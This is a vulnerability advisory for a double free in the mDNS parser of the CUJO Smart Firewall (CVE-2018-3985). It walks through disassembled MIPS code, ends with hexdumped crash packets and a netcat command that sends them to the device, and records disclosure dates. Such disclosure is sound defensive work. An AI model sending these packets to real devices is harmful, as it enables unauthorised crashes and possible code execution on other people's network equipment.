CVE-2018-3985
An exploitable double free vulnerability exists in the mdnscap
binary of the CUJO Smart Firewall. When parsing mDNS packets, a memory space is freed twice if an invalid query name is encountered, leading to arbitrary code execution in the context of the mdnscap
process. An unauthenticated attacker can send an mDNS message to trigger this vulnerability.
CUJO Smart Firewall - Firmware version 7003
https://www.getcujo.com/smart-firewall-cujo/
8.3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
CWE-415: Double Free
CUJO AI produces CUJO Smart Firewall, a device aimed at protecting home networks from a variety of threats, such as malware, phishing websites and hacking attempts. It also provides a way to monitor specific devices in the network and limit their internet access.
To achieve this, CUJO works as a gateway and splits the home network in two: a monitored network and an unmonitored network (where the main home router is). This way, it can inspect (and block) malicious traffic on the internet. They also provide Android and iOS applications for managing the device.
The board utilizes an OCTEON III CN7020 processor produced by Cavium Networks, which has a cnMIPS64 microarchitecture.
The firmware is present in the external eMMC and is based on OCTEON’s SDK, which results in a Linux-based operating system running a kernel with PaX patches.
During normal operation, the core process is agent
: it establishes a persistent WebSocket over TLS communication with the remote CUJO server agent.cujo.io
on port 444, which enables an indirect and remote communication with the smartphone application. This process also communicates with “tappers”, which are processes meant to listen for a variety of network activities.
CUJO uses a set of custom “tappers” and other known network-related tools, whose names are self-explanatory: mdnscap
, dnscap
, dhcpcap
, arp-mitm
, p0f
, softflowd
, scannerd
, snort
. The device continuously updates the remote server when new network activities are detected.
In particular, the mdnscap
binary collects mDNS packets from the network. It does so by using the libpcap library.
Before starting the packet capture, the main
function drops the process’ privileges, constraining it in a chroot environment running as the _mdnscap
user.
Shortly after, the functions pcap_compile
and pcap_loop
are used to call the function sub_3F14
every time an UDP packet is received on port 5353.
.text:00003F14 # sub_3F14(struct pcap_user_cujo *user, const struct pcap_pkthdr *pkthdr, const char *data)
.text:00003F14
.text:00003F14 000 li $gp, 0x1B0EC
.text:00003F1C 000 addu $gp, $t9
.text:00003F20 000 addiu $sp, -0xA8
.text:00003F24 0A8 sw $ra, 0xA8+var_4($sp)
.text:00003F28 0A8 sw $fp, 0xA8+var_8($sp)
.text:00003F2C 0A8 move $fp, $sp
.text:00003F30 0A8 sw $gp, 0xA8+var_90($sp)
.text:00003F34 0A8 sw $a0, 0xA8+user($fp)
.text:00003F38 0A8 sw $a1, 0xA8+pkthdr($fp)
.text:00003F3C 0A8 sw $a2, 0xA8+data($fp) # [1]
...
.text:00003FB4 0A8 lw $v0, 0xA8+pkthdr($fp)
.text:00003FB8 0A8 nop
.text:00003FBC 0A8 lw $v0, pcap_pkthdr.caplen($v0)
.text:00003FC0 0A8 nop
.text:00003FC4 0A8 sw $v0, 0xA8+caplen($fp)
...
.text:00003FE8 0A8 addiu $v1, $fp, 0xA8+caplen
.text:00003FEC 0A8 addiu $v0, $fp, 0xA8+data
.text:00003FF0 0A8 move $a3, $a1
.text:00003FF4 0A8 move $a2, $a0
.text:00003FF8 0A8 move $a1, $v1
.text:00003FFC 0A8 move $a0, $v0
.text:00004000 0A8 li $v0, 0
.text:00004004 0A8 nop
.text:00004008 0A8 addiu $v0, parse_ether
.text:0000400C 0A8 move $t9, $v0
.text:00004010 0A8 bal parse_ether # [2]
...
.text:00004058 0A8 bal parse_ip # [3]
...
.text:000040A4 0A8 bal parse_udp # [4]
...
.text:00004138 0A8 bal parse_mdns # [5]
The packet data is passed as third parameter [1]. The function then parses the Ethernet [2], IP [3] and UDP layers [4]. Finally the mDNS payload is parsed by calling function [5].
.text:000039E0 parse_mdns:
...
.text:00003AE8 060 lw $v0, 0x60+mdns_data($fp) # [6]
.text:00003AEC 060 nop
.text:00003AF0 060 lhu $v1, 2($v0) # flags
.text:00003AF4 060 li $v0, 0xFFFF8000
.text:00003AF8 060 and $v0, $v1, $v0
.text:00003AFC 060 andi $v0, 0xFFFF
.text:00003B00 060 beqz $v0, loc_3B28 # [7] ensure QR=1
.text:00003B04 060 nop
.text:00003B08 060 lw $v0, 0x60+mdns_data($fp)
.text:00003B0C 060 nop
.text:00003B10 060 lhu $v0, 2($v0)
.text:00003B14 060 nop
.text:00003B18 060 andi $v0, 0x200
.text:00003B1C 060 andi $v0, 0xFFFF
.text:00003B20 060 beqz $v0, loc_3B34 # [8] ensure TC=0
.text:00003B24 060 nop
...
.text:00003B34 loc_3B34:
...
.text:00003BBC 060 addiu $a1, $v0, aQueries # "QUERIES:\n"
.text:00003BC0 060 move $a0, $zero
.text:00003BC4 060 la $v0, verbprintind
.text:00003BC8 060 nop
.text:00003BCC 060 move $t9, $v0
.text:00003BD0 060 bal verbprintind
...
.text:00003C18 060 sw $zero, 0x60+query($sp) # type
.text:00003C1C 060 move $a3, $a0 # mdns_total_entries
.text:00003C20 060 move $a2, $v1 # mdns_sections_ptr
.text:00003C24 060 lw $a1, 0x60+mdns_data_end($fp) # mdns_data_end
.text:00003C28 060 lw $a0, 0x60+mdns_data_2($fp) # mdns_data
.text:00003C2C 060 li $v0, 0
.text:00003C30 060 nop
.text:00003C34 060 addiu $v0, parse_mdns_records
.text:00003C38 060 move $t9, $v0
.text:00003C3C 060 bal parse_mdns_records # [9]
...
.text:00003C6C 060 addiu $a1, $v0, aAnswers # "ANSWERS:\n"
...
.text:00003CF0 060 bal parse_mdns_records # [10]
...
.text:00003D20 060 addiu $a1, $v0, aAuthority # "AUTHORITY:\n"
...
.text:00003DA4 060 bal parse_mdns_records # [11]
...
.text:00003DD4 060 addiu $a1, $v0, aAdditional # "ADDITIONAL:\n"
...
.text:00003E58 060 bal parse_mdns_records # [12]
The function receives the mDNS payload at [6], and ensures that the DNS header has QR=1 [7] (which corresponds to a response), and TC=0 [8] (which means the message is not truncated).
Then, for each section (“question” [9], “answer” [10], “authority” [11] and “additional” [12]), the function parse_mdns_records
is called.
.text:000035F0 # parse_mdns_records(char *mdns_data, char *mdns_data_end, char mdns_sections_ptr, char *mdns_total_entries, char type)
.text:000035F0
...
.text:00003674 060 b loc_3928
.text:00003678 060 nop
.text:0000367C
.text:0000367C loc_367C: # [13] loop
.text:0000367C 060 lw $a2, 0x60+mdns_sections_ptr($fp)
.text:00003680 060 lw $a1, 0x60+mdns_data_end($fp)
.text:00003684 060 lw $a0, 0x60+mdns_data($fp)
.text:00003688 060 li $v0, 0
.text:0000368C 060 nop
.text:00003690 060 addiu $v0, dns_parse_name
.text:00003694 060 move $t9, $v0
.text:00003698 060 bal dns_parse_name # [14]
.text:0000369C 060 nop
.text:000036A0 060 lw $gp, 0x60+var_48($fp)
.text:000036A4 060 sw $v0, 0x60+query_name($fp) # [15]
.text:000036A8 060 lw $v0, 0x60+query_name($fp)
.text:000036AC 060 nop
.text:000036B0 060 beqz $v0, loc_394C # [21]
.text:000036B4 060 nop
.text:000036B8 060 la $v0, _fbss
.text:000036BC 060 nop
.text:000036C0 060 lw $v1, (_fbss - 0x17148)($v0)
.text:000036C4 060 lw $a2, 0x60+query_name($fp)
.text:000036C8 060 li $v0, 0
.text:000036CC 060 nop
.text:000036D0 060 addiu $a1, $v0, aNameS # "NAME: %s\n"
.text:000036D4 060 move $a0, $v1
.text:000036D8 060 la $v0, verbprintind
.text:000036DC 060 nop
.text:000036E0 060 move $t9, $v0
.text:000036E4 060 bal verbprintind
.text:000036E8 060 nop
.text:000036EC 060 lw $gp, 0x60+var_48($fp)
.text:000036F0 060 lbu $v1, 0x60+var_31($fp)
.text:000036F4 060 addiu $v0, $fp, 0x60+var_1E
.text:000036F8 060 sw $v0, 0x60+var_50($sp)
.text:000036FC 060 move $a3, $v1
.text:00003700 060 lw $a2, 0x60+mdns_sections_ptr($fp)
.text:00003704 060 lw $a1, 0x60+mdns_data_end($fp)
.text:00003708 060 lw $a0, 0x60+mdns_data($fp)
.text:0000370C 060 li $v0, 0
.text:00003710 060 nop
.text:00003714 060 addiu $v0, dns_parse_qr
.text:00003718 060 move $t9, $v0
.text:0000371C 060 bal dns_parse_qr # [16]
.text:00003720 060 nop
.text:00003724 060 lw $gp, 0x60+var_48($fp)
.text:00003728 060 sw $v0, 0x60+query_qr($fp) # [17]
.text:0000372C 060 lw $v0, 0x60+query_qr($fp)
.text:00003730 060 nop
.text:00003734 060 beqz $v0, loc_3958 # [22]
...
.text:000038D0 loc_38D0:
.text:000038D0 060 lw $v0, 0x60+var_40($fp)
.text:000038D4 060 nop
.text:000038D8 060 lw $v0, 0($v0)
.text:000038DC 060 nop
.text:000038E0 060 addiu $v1, $v0, 1
.text:000038E4 060 lw $v0, 0x60+var_40($fp)
.text:000038E8 060 nop
.text:000038EC 060 sw $v1, 0($v0)
.text:000038F0 060 lw $a0, 0x60+query_name($fp)
.text:000038F4 060 la $v0, free
.text:000038F8 060 nop
.text:000038FC 060 move $t9, $v0
.text:00003900 060 jalr $t9 # [18]
.text:00003904 060 nop
.text:00003908 060 lw $gp, 0x60+var_48($fp)
.text:0000390C 060 lw $a0, 0x60+query_qr($fp)
.text:00003910 060 la $v0, free
.text:00003914 060 nop
.text:00003918 060 move $t9, $v0
.text:0000391C 060 jalr $t9 # [19]
.text:00003920 060 nop
.text:00003924 060 lw $gp, 0x60+var_48($fp)
.text:00003928
.text:00003928 loc_3928:
.text:00003928 060 lw $v0, 0x60+mdns_total_entries($fp)
.text:0000392C 060 nop
.text:00003930 060 addiu $v1, $v0, -1 # [20]
.text:00003934 060 sw $v1, 0x60+mdns_total_entries($fp)
.text:00003938 060 bnez $v0, loc_367C
.text:0000393C 060 nop
.text:00003940 060 move $v0, $zero
.text:00003944 060 b loc_3998 # [13] loop
.text:00003948 060 nop
.text:0000394C
.text:0000394C loc_394C: # [21]
.text:0000394C 060 nop
.text:00003950 060 b loc_395C
.text:00003954 060 nop
.text:00003958
.text:00003958 loc_3958: # [22]
.text:00003958 060 nop
.text:0000395C
.text:0000395C loc_395C: # [23]
.text:0000395C 060 lw $a0, 0x60+query_name($fp)
.text:00003960 060 la $v0, free
.text:00003964 060 nop
.text:00003968 060 move $t9, $v0
.text:0000396C 060 jalr $t9 # [24]
.text:00003970 060 nop
.text:00003974 060 lw $gp, 0x60+var_48($fp)
.text:00003978 060 lw $a0, 0x60+query_qr($fp)
.text:0000397C 060 la $v0, free
.text:00003980 060 nop
.text:00003984 060 move $t9, $v0
.text:00003988 060 jalr $t9 # [25] double free
The function loops [13] over each entry in the section (either “question”, “answer”, “authority” or “additional”).
At [14] the entry’s DNS name is extracted by calling dns_parse_name
, which returns a pointer to a heap buffer, then stored on the stack [15] (query_name
).
Next, the function extracts the “Rdata” field by calling dns_parse_qr
[16], which returns a pointer to a heap buffer, then stored on the stack [16] (query_qr
). Note that since the “Rdata” field only exists in resource records, a pointer to an empty string is returned when the section is “question”.
If both calls are successfull, the execution continues by storing the results into different buffers, and finally the query_name
[18] and query_qr
[19] are freed. The mdns_total_entries
variable is decremented and the loop continues over the next entry.
However, in case dns_parse_name
[21] or dns_parse_qr
fail [22], the execution will eventually jump to [23], which ends up calling free
over both query_name
[24] and query_qr
[25].
This can clearly trigger a double free condition, since at the start of each loop both query_name
and query_qr
point to either 0 (on the first loop iteration) or to an already freed pointer (on subsequent iterations, because of [18] and [19]). Starting from the second iteration, if dns_parse_name
fails, the memory pointed by query_qr
will be freed again at [25].
It’s possible to make dns_parse_name
fail either by sending any kind of invalid label (note that name compression is supported), or by specifying an incorrect number of entries in the DNS header (for example by setting it to one entry more than the entries actually present in the packet).
An attacker can exploit this vulnerability to achieve arbitrary code execution without authentication, in the context of the mdnscap
process. Note in fact, that the attacker would need to escape the chroot
and elevate his privileges in order to fully compromise the device.
The following proof of concept shows how to crash the mdnscap
process.
Consider the following input file:
$ hexdump input.bin
00000000 12 34 80 00 00 02 00 00 00 00 00 00 04 41 42 43
00000010 44 00 d0 d1 e0 e1 04 41 42 43 44 ff 00 d0 d1 e0
00000020 e1
00000021
We have two “question” entries:
The “\xff” in the second entry is considered to be a length, which goes out of bounds. Thus, the label is considered invalid, making dns_parse_name
to return 0.
The following command crashes mdnscap
:
$ nc -u $CUJO_IP 5353 < input.bin
As previously explained, the same bug can be triggered using an overlong section count:
$ hexdump input.bin
0000000 12 34 80 00 00 02 00 00 00 00 00 00 04 41 42 43
0000010 44 00 d0 d1 e0 e1
0000016
As we can see the entry count is still “\x02”, but only one entry is defined, making dns_parse_name
to return 0 while checking for the second entry.
2018–09-18 - Vendor Disclosure
2019-03-19- Public Release
Discovered by Claudio Bozzato of Cisco Talos.